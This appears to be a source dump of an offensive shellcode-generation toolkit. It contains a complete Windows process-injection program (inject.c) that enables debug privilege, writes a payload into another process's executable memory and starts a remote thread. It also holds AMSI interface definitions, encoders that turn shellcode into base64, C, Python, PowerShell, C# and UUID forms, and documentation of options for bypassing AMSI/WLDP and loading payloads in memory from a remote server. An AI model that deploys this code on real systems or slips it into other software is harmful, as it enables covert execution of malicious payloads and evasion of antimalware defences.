| return DEBUG_STATUS_NO_CHANGE; 124 | } 125 | 126 | STDMETHODIMP EventCallbacks::Exception( THIS_ IN PEXCEPTION_RECORD64 Exception, IN ULONG FirstChance ) { 127 | return DEBUG_STATUS_BREAK; 128 | } 129 | 130 | STDMETHODIMP EventCallbacks::ExitProcess (THIS_ IN ULONG ExitCode ) { 131 | return DEBUG_STATUS_NO_CHANGE; 132 | } 133 | 134 | STDMETHODIMP EventCallbacks::ExitThread (THIS_ IN ULONG ExitCode ) { 135 | return DEBUG_STATUS_NO_CHANGE; 136 | } 137 | 138 | STDMETHODIMP EventCallbacks::GetInterestMask( THIS_ OUT PULONG Mask ) { 139 | *Mask = 140 | DEBUG_EVENT_BREAKPOINT | 141 | DEBUG_EVENT_EXCEPTION | 142 | DEBUG_EVENT_CREATE_THREAD | 143 | DEBUG_EVENT_EXIT_THREAD | 144 | DEBUG_EVENT_CREATE_PROCESS | 145 | DEBUG_EVENT_EXIT_PROCESS | 146 | DEBUG_EVENT_LOAD_MODULE | 147 | DEBUG_EVENT_UNLOAD_MODULE | 148 | DEBUG_EVENT_SYSTEM_ERROR | 149 | DEBUG_EVENT_SESSION_STATUS | 150 | DEBUG_EVENT_CHANGE_DEBUGGEE_STATE | 151 | DEBUG_EVENT_CHANGE_ENGINE_STATE | 152 | DEBUG_EVENT_CHANGE_SYMBOL_STATE; 153 | return S_OK; 154 | } 155 | 156 | STDMETHODIMP EventCallbacks::LoadModule( THIS_ IN ULONG64 ImageFileHandle, IN ULONG64 BaseOffset, 157 | IN ULONG ModuleSize,IN PCSTR ModuleName, IN PCSTR ImageName, IN ULONG CheckSum, IN ULONG TimeDateStamp ) { 158 | return DEBUG_STATUS_NO_CHANGE; 159 | } 160 | 161 | STDMETHODIMP EventCallbacks::SystemError( THIS_ IN ULONG Error, IN ULONG Level ) { 162 | return DEBUG_STATUS_BREAK; 163 | } 164 | 165 | STDMETHODIMP EventCallbacks::UnloadModule( THIS_ IN PCSTR ImageBaseName, IN ULONG64 BaseOffset ) { 166 | return DEBUG_STATUS_NO_CHANGE; 167 | } 168 | 169 | STDMETHODIMP EventCallbacks::SessionStatus( THIS_ IN ULONG SessionStatus ) { 170 | return DEBUG_STATUS_NO_CHANGE; 171 | } 172 | 173 | STDMETHODIMP EventCallbacks::ChangeDebuggeeState( THIS_ IN ULONG Flags, IN ULONG64 Argument ) { 174 | //State = 1; 175 | return DEBUG_STATUS_NO_CHANGE; 176 | } 177 | 178 | STDMETHODIMP EventCallbacks::ChangeEngineState( THIS_ IN ULONG Flags, IN ULONG64 Argument ) { 179 | return DEBUG_STATUS_NO_CHANGE; 180 | } 181 | 182 | STDMETHODIMP EventCallbacks::ChangeSymbolState( THIS_ IN ULONG Flags, IN ULONG64 Argument ) { 183 | return DEBUG_STATUS_NO_CHANGE; 184 | } 185 | -------------------------------------------------------------------------------- /loader/inject.c: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #include "inject.h" 33 | 34 | BOOL EnablePrivilege(PCHAR szPrivilege){ 35 | HANDLE hToken; 36 | BOOL bResult; 37 | LUID luid; 38 | TOKEN_PRIVILEGES tp; 39 | 40 | // open token for current process 41 | bResult = OpenProcessToken(GetCurrentProcess(), 42 | TOKEN_ADJUST_PRIVILEGES, &hToken); 43 | 44 | if(!bResult) return FALSE; 45 | 46 | // lookup privilege 47 | bResult = LookupPrivilegeValue(NULL, szPrivilege, &luid); 48 | if(bResult){ 49 | tp.PrivilegeCount = 1; 50 | tp.Privileges[0].Luid = luid; 51 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 52 | 53 | // adjust token 54 | bResult = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); 55 | } 56 | CloseHandle(hToken); 57 | return bResult; 58 | } 59 | 60 | // display error message for last error code 61 | VOID xstrerror (PCHAR fmt, ...){ 62 | PCHAR error=NULL; 63 | va_list arglist; 64 | CHAR buffer[1024]; 65 | DWORD dwError=GetLastError(); 66 | 67 | va_start(arglist, fmt); 68 | vsnprintf(buffer, ARRAYSIZE(buffer), fmt, arglist); 69 | va_end (arglist); 70 | 71 | if (FormatMessage ( 72 | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, 73 | NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), 74 | (LPSTR)&error, 0, NULL)) 75 | { 76 | printf(" [ %s : %s\n", buffer, error); 77 | LocalFree (error); 78 | } else { 79 | printf(" [ %s error : %08lX\n", buffer, dwError); 80 | } 81 | } 82 | 83 | DWORD name2pid(PCHAR procName){ 84 | HANDLE hSnap; 85 | PROCESSENTRY32 pe32; 86 | DWORD pid=0; 87 | 88 | // create snapshot of system 89 | hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 90 | if(hSnap == INVALID_HANDLE_VALUE) return 0; 91 | 92 | pe32.dwSize = sizeof(PROCESSENTRY32); 93 | 94 | // get first process 95 | if(Process32First(hSnap, &pe32)){ 96 | do { 97 | if(!lstrcmpi(pe32.szExeFile, procName)){ 98 | pid=pe32.th32ProcessID; 99 | break; 100 | } 101 | } while(Process32Next(hSnap, &pe32)); 102 | } 103 | CloseHandle(hSnap); 104 | return pid; 105 | } 106 | 107 | BOOL injectPIC(DWORD id, LPVOID code, DWORD codeLen) { 108 | SIZE_T wr; 109 | HANDLE hp,ht; 110 | LPVOID cs; 111 | RtlCreateUserThread_t pRtlCreateUserThread; 112 | HMODULE hn; 113 | CLIENT_ID cid; 114 | NTSTATUS nt=~0UL; 115 | DWORD t; 116 | 117 | // 1. resolve API address 118 | hn = GetModuleHandle("ntdll.dll"); 119 | pRtlCreateUserThread=(RtlCreateUserThread_t) 120 | GetProcAddress(hn, "RtlCreateUserThread"); 121 | 122 | printf(" [ opening process %li\n", id); 123 | // 2. open the target process 124 | hp=OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); 125 | 126 | if(hp == NULL) return FALSE; 127 | 128 | // 3. allocate executable-read-write (XRW) memory for payload 129 | printf(" [ allocating memory for payload.\n"); 130 | cs=VirtualAllocEx(hp, NULL, codeLen, 131 | MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 132 | 133 | printf(" [ writing code to %p.\n", cs); 134 | // 4. copy the payload to remote memory 135 | WriteProcessMemory(hp, cs, code, codeLen, &wr); 136 | VirtualProtectEx(hp, cs, codeLen, PAGE_EXECUTE_READ, &t); 137 | 138 | printf(" [ press any key to continue.\n"); 139 | getchar(); 140 | 141 | // 5. execute payload in remote process 142 | printf(" [ creating new thread.\n"); 143 | nt = pRtlCreateUserThread(hp, NULL, FALSE, 0, NULL, 144 | NULL, cs, NULL, &ht, &cid); 145 | 146 | //AttachConsole(id); 147 | 148 | printf(" [ nt status is %lx\n", nt); 149 | WaitForSingleObject(ht, INFINITE); 150 | 151 | // 6. close remote thread handle 152 | CloseHandle(ht); 153 | 154 | // 7. free remote memory 155 | printf(" [ freeing memory.\n"); 156 | VirtualFreeEx(hp, cs, codeLen, MEM_RELEASE | MEM_DECOMMIT); 157 | 158 | // 8. close remote process handle 159 | CloseHandle(hp); 160 | return nt == 0; // STATUS_SUCCESS 161 | } 162 | 163 | DWORD getdata(PCHAR path, LPVOID *data){ 164 | HANDLE hf; 165 | DWORD len,rd=0; 166 | 167 | // 1. open the file 168 | hf=CreateFile(path, GENERIC_READ, 0, 0, 169 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 170 | 171 | if(hf!=INVALID_HANDLE_VALUE){ 172 | // get file size 173 | len=GetFileSize(hf, 0); 174 | // allocate memory 175 | *data=malloc(len + 16); 176 | // read file contents into memory 177 | ReadFile(hf, *data, len, &rd, 0); 178 | CloseHandle(hf); 179 | } 180 | return rd; 181 | } 182 | 183 | int main(int argc, char *argv[]){ 184 | LPVOID code; 185 | SIZE_T code_len; 186 | DWORD pid; 187 | 188 | if (argc != 3){ 189 | printf("\n [ usage: inject \n"); 190 | return 0; 191 | } 192 | 193 | if(!EnablePrivilege(SE_DEBUG_NAME)) { 194 | printf(" [ cannot enable SeDebugPrivilege.\n"); 195 | } 196 | 197 | // get pid 198 | pid=atoi(argv[1]); 199 | if(pid==0) pid=name2pid(argv[1]); 200 | 201 | if(pid==0) { 202 | printf(" [ unable to obtain process id.\n"); 203 | return 0; 204 | } 205 | // pic 206 | code_len = getdata(argv[2], &code); 207 | if(code_len == 0) { 208 | printf(" [ unable to read payload.\n"); 209 | return 0; 210 | } 211 | injectPIC(pid, code, code_len); 212 | free(code); 213 | return 0; 214 | } 215 | -------------------------------------------------------------------------------- /loader/amsi.h: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #ifndef AMSI_H 33 | #define AMSI_H 34 | 35 | #include 36 | 37 | DECLARE_HANDLE(HAMSICONTEXT); 38 | DECLARE_HANDLE(HAMSISESSION); 39 | 40 | typedef struct _IAmsiStream IAmsiStream; 41 | typedef struct _IAntimalware IAntimalware; 42 | typedef struct _IAntimalwareProvider IAntimalwareProvider; 43 | 44 | typedef enum tagAMSI_RESULT { 45 | // No detection found. Result likely not going to change after future definition update. 46 | // a.k.a. known good 47 | AMSI_RESULT_CLEAN = 0, 48 | // No detection found. Result might change after future definition update. 49 | AMSI_RESULT_NOT_DETECTED = 1, 50 | // Detection found. It is recommended to abort executing the content if it is executable, e.g. a script. 51 | // Return result of 1 - 32767 is estimated risk level that an antimalware provider might indicate. 52 | // The large the result, the riskier to continue. 53 | // Any return result equal to or larger than 32768 is consider malware and should be blocked. 54 | // These values are provider specific, and may indicate malware family or ID. 55 | // An application should use AmsiResultIsMalware() to determine whether the content should be blocked. 56 | AMSI_RESULT_DETECTED = 32768, 57 | } AMSI_RESULT; 58 | 59 | typedef enum tagAMSI_ATTRIBUTE { 60 | // Name/version/GUID string of the calling application. 61 | AMSI_ATTRIBUTE_APP_NAME = 0, 62 | // LPWSTR, filename, URL, script unique id etc. 63 | AMSI_ATTRIBUTE_CONTENT_NAME = 1, 64 | // ULONGLONG, size of the input. Mandatory. 65 | AMSI_ATTRIBUTE_CONTENT_SIZE = 2, 66 | // PVOID, memory address if content is fully loaded in memory. Mandatory unless 67 | // Read() is implemented instead to support on-demand content retrieval. 68 | AMSI_ATTRIBUTE_CONTENT_ADDRESS = 3, 69 | // PVOID, session is used to associate different scan calls, e.g. if the contents 70 | // to be scanned belong to the sample original script. Return nullptr if content 71 | // is self-contained. Mandatory. 72 | AMSI_ATTRIBUTE_SESSION = 4, 73 | } AMSI_ATTRIBUTE; 74 | 75 | typedef struct IAmsiStreamVtbl { 76 | BEGIN_INTERFACE 77 | 78 | HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 79 | IAmsiStream * This, 80 | REFIID riid, 81 | void **ppvObject); 82 | 83 | ULONG ( STDMETHODCALLTYPE *AddRef )( 84 | IAmsiStream * This); 85 | 86 | ULONG ( STDMETHODCALLTYPE *Release )( 87 | IAmsiStream * This); 88 | 89 | HRESULT ( STDMETHODCALLTYPE *GetAttribute )( 90 | IAmsiStream * This, 91 | AMSI_ATTRIBUTE attribute, 92 | ULONG dataSize, 93 | unsigned char *data, 94 | ULONG *retData); 95 | 96 | HRESULT ( STDMETHODCALLTYPE *Read )( 97 | IAmsiStream * This, 98 | ULONGLONG position, 99 | ULONG size, 100 | unsigned char *buffer, 101 | ULONG *readSize); 102 | 103 | END_INTERFACE 104 | } IAmsiStreamVtbl; 105 | 106 | typedef struct _IAmsiStream { 107 | IAmsiStreamVtbl *lpVtbl; 108 | } AmsiStream; 109 | 110 | typedef struct IAntimalwareProviderVtbl { 111 | BEGIN_INTERFACE 112 | 113 | HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 114 | IAntimalwareProvider * This, 115 | REFIID riid, 116 | void **ppvObject); 117 | 118 | ULONG ( STDMETHODCALLTYPE *AddRef )( 119 | IAntimalwareProvider * This); 120 | 121 | ULONG ( STDMETHODCALLTYPE *Release )( 122 | IAntimalwareProvider * This); 123 | 124 | HRESULT ( STDMETHODCALLTYPE *Scan )( 125 | IAntimalwareProvider * This, 126 | IAmsiStream *stream, 127 | AMSI_RESULT *result); 128 | 129 | void ( STDMETHODCALLTYPE *CloseSession )( 130 | IAntimalwareProvider * This, 131 | ULONGLONG session); 132 | 133 | HRESULT ( STDMETHODCALLTYPE *DisplayName )( 134 | IAntimalwareProvider * This, 135 | LPWSTR *displayName); 136 | 137 | END_INTERFACE 138 | } IAntimalwareProviderVtbl; 139 | 140 | typedef struct _IAntimalwareProvider { 141 | IAntimalwareProviderVtbl *lpVtbl; 142 | } AntimalwareProvider; 143 | 144 | typedef struct IAntimalwareVtbl { 145 | BEGIN_INTERFACE 146 | 147 | HRESULT ( STDMETHODCALLTYPE *QueryInterface)( 148 | IAntimalware *This, 149 | REFIID riid, 150 | void **ppvObject); 151 | 152 | ULONG ( STDMETHODCALLTYPE *AddRef )( 153 | IAntimalware * This); 154 | 155 | ULONG ( STDMETHODCALLTYPE *Release )( 156 | IAntimalware * This); 157 | 158 | HRESULT ( STDMETHODCALLTYPE *Scan )( 159 | IAntimalware * This, 160 | IAmsiStream *stream, 161 | AMSI_RESULT *result, 162 | IAntimalwareProvider **provider); 163 | 164 | void ( STDMETHODCALLTYPE *CloseSession )( 165 | IAntimalware * This, 166 | ULONGLONG session); 167 | 168 | END_INTERFACE 169 | } IAntimalwareVtbl; 170 | 171 | typedef struct _IAntimalware { 172 | IAntimalwareVtbl *lpVtbl; 173 | } Antimalware; 174 | 175 | typedef struct tagHAMSICONTEXT { 176 | DWORD Signature; // "AMSI" or 0x49534D41 177 | PWCHAR AppName; // set by AmsiInitialize 178 | IAntimalware *Antimalware; // set by AmsiInitialize 179 | DWORD SessionCount; // increased by AmsiOpenSession 180 | } _HAMSICONTEXT, *_PHAMSICONTEXT; 181 | 182 | #endif -------------------------------------------------------------------------------- /format.c: -------------------------------------------------------------------------------- 1 | /** 2 | BSD 3-Clause License 3 | 4 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | */ 31 | 32 | #include "format.h" 33 | 34 | /** 35 | Encoding: base64 36 | Author : Odzhan 37 | 38 | Encoding: c, python, ruby, c#, powershell and hex 39 | Author : BITAM Salim https://github.com/soolidsnake 40 | */ 41 | 42 | // calculate length of buffer required for base64 encoding 43 | #define B64_LEN(N) (((4 * (N / 3)) + 4) & -4) 44 | 45 | static const char b64_tbl[] = 46 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 47 | 48 | // Compact implementation of base64 encoding. 49 | // The main encoding loop is inspired by Qkumba AKA Peter Ferrie. 50 | // This uses a lookup table and accounts for unaligned input. 51 | // 52 | // odzhan 53 | // 54 | static int b64_encode( 55 | const void *src, uint32_t inlen, 56 | void *dst, uint32_t *outlen) 57 | { 58 | uint32_t i, len, x; 59 | uint8_t *in = (uint8_t*)src, *out = (uint8_t*)dst; 60 | 61 | // check arguments 62 | if(outlen == NULL) return 0; 63 | 64 | // calculate length of buffer required for encoded string 65 | len = B64_LEN(inlen); 66 | 67 | // return the length? 68 | if(out == NULL) { 69 | *outlen = len; 70 | return 1; 71 | } 72 | 73 | // can buffer contain string? 74 | if(len > *outlen) return 0; 75 | 76 | // main encoding loop 77 | while(inlen != 0) { 78 | // load 3 bytes or whatever remains 79 | for(x=i=0; i<3; i++) { 80 | // add byte from input or zero 81 | x |= ((i < inlen) ? *in++ : 0); 82 | x <<= 8; 83 | } 84 | // increase by 1 85 | inlen++; 86 | // encode 3 bytes 87 | for(i=4; inlen && i>0; i--) { 88 | x = ROTL32(x, 6); 89 | *out++ = b64_tbl[x % 64]; 90 | --inlen; 91 | } 92 | } 93 | // if required, add padding 94 | while(i!=0) { *out++ = '='; i--; } 95 | // add null terminator 96 | *out = 0; 97 | // calculate output length by subtracting 2 pointers 98 | *outlen = (uint32_t)(out - (uint8_t*)dst); 99 | return 1; 100 | } 101 | 102 | int base64_template(void *pic, uint32_t pic_len, FILE *fd) { 103 | uint32_t outlen; 104 | void *base64; 105 | 106 | DPRINT("Calculating length of base64 encoding"); 107 | if(b64_encode(NULL, pic_len, NULL, &outlen)) { 108 | DPRINT("Required length is %"PRId32, outlen); 109 | base64 = calloc(1, outlen + 1); 110 | if(base64 == NULL) { 111 | return DONUT_ERROR_NO_MEMORY; 112 | } 113 | DPRINT("Encoding shellcode"); 114 | if(b64_encode(pic, pic_len, base64, &outlen)) { 115 | DPRINT("Writing %"PRId32 " bytes to file", outlen); 116 | fwrite(base64, 1, outlen, fd); 117 | } 118 | } 119 | // if on windows, copy base64 string to clipboard 120 | #if defined(WINDOWS) 121 | LPTSTR strCopy; 122 | HGLOBAL hCopy; 123 | 124 | DPRINT("Opening clipboard"); 125 | if(OpenClipboard(NULL)) { 126 | DPRINT("Empying contents"); 127 | EmptyClipboard(); 128 | 129 | DPRINT("Allocating memory"); 130 | hCopy = GlobalAlloc(GMEM_MOVEABLE, outlen); 131 | if(hCopy != NULL) { 132 | strCopy = GlobalLock(hCopy); 133 | // copy base64 string to memory 134 | CopyMemory(strCopy, base64, outlen); 135 | GlobalLock(hCopy); 136 | DPRINT("Setting clipboard data"); 137 | // copy to clipboard 138 | SetClipboardData(CF_TEXT, hCopy); 139 | GlobalFree(hCopy); 140 | } 141 | CloseClipboard(); 142 | } 143 | #endif 144 | DPRINT("Freeing memory"); 145 | free(base64); 146 | return DONUT_ERROR_OK; 147 | } 148 | 149 | int c_ruby_template(void * pic, uint32_t pic_len, FILE* fd){ 150 | uint32_t j; 151 | uint8_t *p = (uint8_t*)pic; 152 | 153 | fprintf(fd, "unsigned char buf[] = \n"); 154 | 155 | for(j=0; j < pic_len; j++) { 156 | if(j % 16 == 0) fputc('\"', fd); 157 | 158 | fprintf(fd, "\\x%02x", p[j]); 159 | 160 | if(j % 16 == 15 && j+1 < pic_len){ 161 | fprintf(fd, "\"\n"); 162 | } 163 | } 164 | fprintf(fd, "\";\n"); 165 | 166 | return DONUT_ERROR_OK; 167 | } 168 | 169 | int py_template(void * pic, uint32_t pic_len, FILE* fd){ 170 | uint32_t j; 171 | uint8_t *p = (uint8_t*)pic; 172 | 173 | fprintf(fd, "buf = \"\"\n"); 174 | 175 | for(j=0; j < pic_len; j++){ 176 | if(j % 16 == 0) { 177 | fprintf(fd, "buff += \""); 178 | } 179 | fprintf(fd, "\\x%02x", p[j]); 180 | 181 | if(j % 16 == 15) { 182 | fprintf(fd, "\"\n"); 183 | } 184 | } 185 | if(j % 16 != 0) { 186 | fputc('\"', fd); 187 | } 188 | return DONUT_ERROR_OK; 189 | } 190 | 191 | int powershell_template(void * pic, uint32_t pic_len, FILE* fd){ 192 | uint32_t j; 193 | uint8_t *p = (uint8_t*)pic; 194 | 195 | fprintf(fd, "[Byte[]] $buf = "); 196 | 197 | for(j=0; j < pic_len; j++){ 198 | fprintf(fd, "0x%02x", p[j]); 199 | if(j < pic_len-1) fputc(',', fd); 200 | } 201 | return DONUT_ERROR_OK; 202 | } 203 | 204 | int csharp_template(void * pic, uint32_t pic_len, FILE* fd){ 205 | uint32_t j; 206 | uint8_t *p = (uint8_t*)pic; 207 | 208 | fprintf(fd, "byte[] my_buf = new byte[%" PRId32"] {\n", pic_len); 209 | 210 | for(j=0; j < pic_len; j++){ 211 | fprintf(fd, "0x%02x", p[j]); 212 | if(j < pic_len-1) fputc(',', fd); 213 | } 214 | fprintf(fd, "};"); 215 | 216 | return DONUT_ERROR_OK; 217 | } 218 | 219 | int hex_template(void * pic, uint32_t pic_len, FILE* fd){ 220 | uint32_t j; 221 | uint8_t *p = (uint8_t*)pic; 222 | 223 | for(j=0; j < pic_len; j++){ 224 | fprintf(fd, "\\x%02x", p[j]); 225 | } 226 | return DONUT_ERROR_OK; 227 | } 228 | 229 | static int uuid_null[16] = { 0 }; 230 | 231 | int uuid_template(void * pic, uint32_t pic_len, FILE* fd){ 232 | uint32_t rem; 233 | uint32_t j; 234 | uint32_t base; 235 | uint8_t *p = (uint8_t*)pic; 236 | uint32_t len = pic_len; 237 | 238 | //Ensure there are enough bytes 239 | rem = len % 16; 240 | if(rem != 0){ 241 | pic = realloc(pic, len+rem); 242 | memcpy(p + len, uuid_null, rem); 243 | len+=rem; 244 | } 245 | 246 | for(j=0; j < len/16; j++){ 247 | base = j*16; 248 | fprintf(fd, "%02x%02x%02x%02x-", p[base+3], p[base+2], p[base+1], p[base]); 249 | fprintf(fd, "%02x%02x-", p[base+5], p[base+4]); 250 | fprintf(fd, "%02x%02x-", p[base+7], p[base+6]); 251 | fprintf(fd, "%02x%02x-", p[base+8], p[base+9]); 252 | fprintf(fd, "%02x%02x%02x%02x%02x%02x\n", p[base+10], p[base+11], p[base+12], p[base+13], p[base+14], p[base+15]); 253 | } 254 | return DONUT_ERROR_OK; 255 | } 256 | -------------------------------------------------------------------------------- /docs/2019-08-21-Python_Extension.md: -------------------------------------------------------------------------------- 1 | # Python Extension 2 | 3 | A Python C extension is now available which allows you to dynamically generate donut shellcode in Python. 4 | 5 | ## Requirements 6 | 7 | The extension has only been tested in Python 3.7, it shouldn't have any compatibility issues with older 3.X versions of Python. 8 | 9 | It will ***not*** work in Python 2.x. 10 | 11 | ## Installing the Extension 12 | 13 | (Once the extension has been published to PyPi) 14 | ``` 15 | pip3 install donut-shellcode 16 | ``` 17 | 18 | ## Manually Compiling And Installing the Extension 19 | 20 | ```bash 21 | git clone https://github.com/TheWover/donut && cd donut 22 | pip3 install . # or python setup.py install 23 | ``` 24 | 25 | ## Usage 26 | 27 | The Python extension accepts the same parameters as the main donut executable. 28 | 29 | Here's a minimalistic example of using the extension: 30 | 31 | ```python 32 | import donut 33 | shellcode = donut.create(file="naga.exe", params='https://172.16.164.1/') 34 | ``` 35 | 36 | The ```donut``` module exposes only one function ```create()```, which is used to generate shellcode and accepts both positional and keyword arguments. 37 | 38 | The only required parameter the ```create()``` function needs is the ```file``` argument which accepts a path to the .NET EXE/DLL or VBS/JS file to turn into shellcode. 39 | 40 | ```python 41 | import donut 42 | 43 | shellcode = donut.create( 44 | file='naga.exe', # .NET assembly, EXE, DLL, VBS, JS or XSL file to execute in-memory 45 | url='http://127.0.0.1', # HTTP server that will host the donut module 46 | arch=1, # Target architecture : 1=x86, 2=amd64, 3=x86+amd64(default) 47 | bypass=3, # Bypass AMSI/WLDP : 1=none, 2=abort on fail, 3=continue on fail.(default) 48 | cls='namespace.class', # Optional class name. (required for .NET DLL) 49 | method='method', # Optional method or API name for DLL. (method is required for .NET DLL) 50 | params='arg1 arg2', # Optional parameters or command line. 51 | runtime='version', # CLR runtime version. MetaHeader used by default or v4.0.30319 if none available 52 | appdomain='name' # AppDomain name to create for .NET. Randomly generated by default. 53 | ) 54 | ``` 55 | 56 | ## Keywords 57 | 58 | The following table lists key words for the create method. 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 |
KeywordTypeDescription
fileStringThe path of file to execute in memory. VBS/JS/EXE/DLL files are supported.
archIntegerIndicates the type of assembly code to generate. 1=DONUT_ARCH_X86 and 2=DONUT_ARCH_X64 are self-explanatory. 3=DONUT_ARCH_X84 indicates dual-mode that combines shellcode for both X86 and AMD64. ARM64 will be supported at some point.
bypassIntegerSpecifies behaviour of the code responsible for bypassing AMSI and WLDP. The current options are 1=DONUT_BYPASS_NONE which indicates that no attempt be made to disable AMSI or WLDP. 2=DONUT_BYPASS_ABORT indicates that failure to disable should result in aborting execution of the module. 3=DONUT_BYPASS_CONTINUE indicates that even if AMSI/WDLP bypasses fail, the shellcode will continue with execution.
compressIntegerIndicates if the input file should be compressed. Available engines are 1=DONUT_COMPRESS_NONE, 2=DONUT_COMPRESS_APLIB to use the aPLib algorithm. For builds on Windows, the RtlCompressBuffer API is available and supports 3=DONUT_COMPRESS_LZNT1, 4=DONUT_COMPRESS_XPRESS and 5=DONUT_COMPRESS_XPRESS_HUFF.
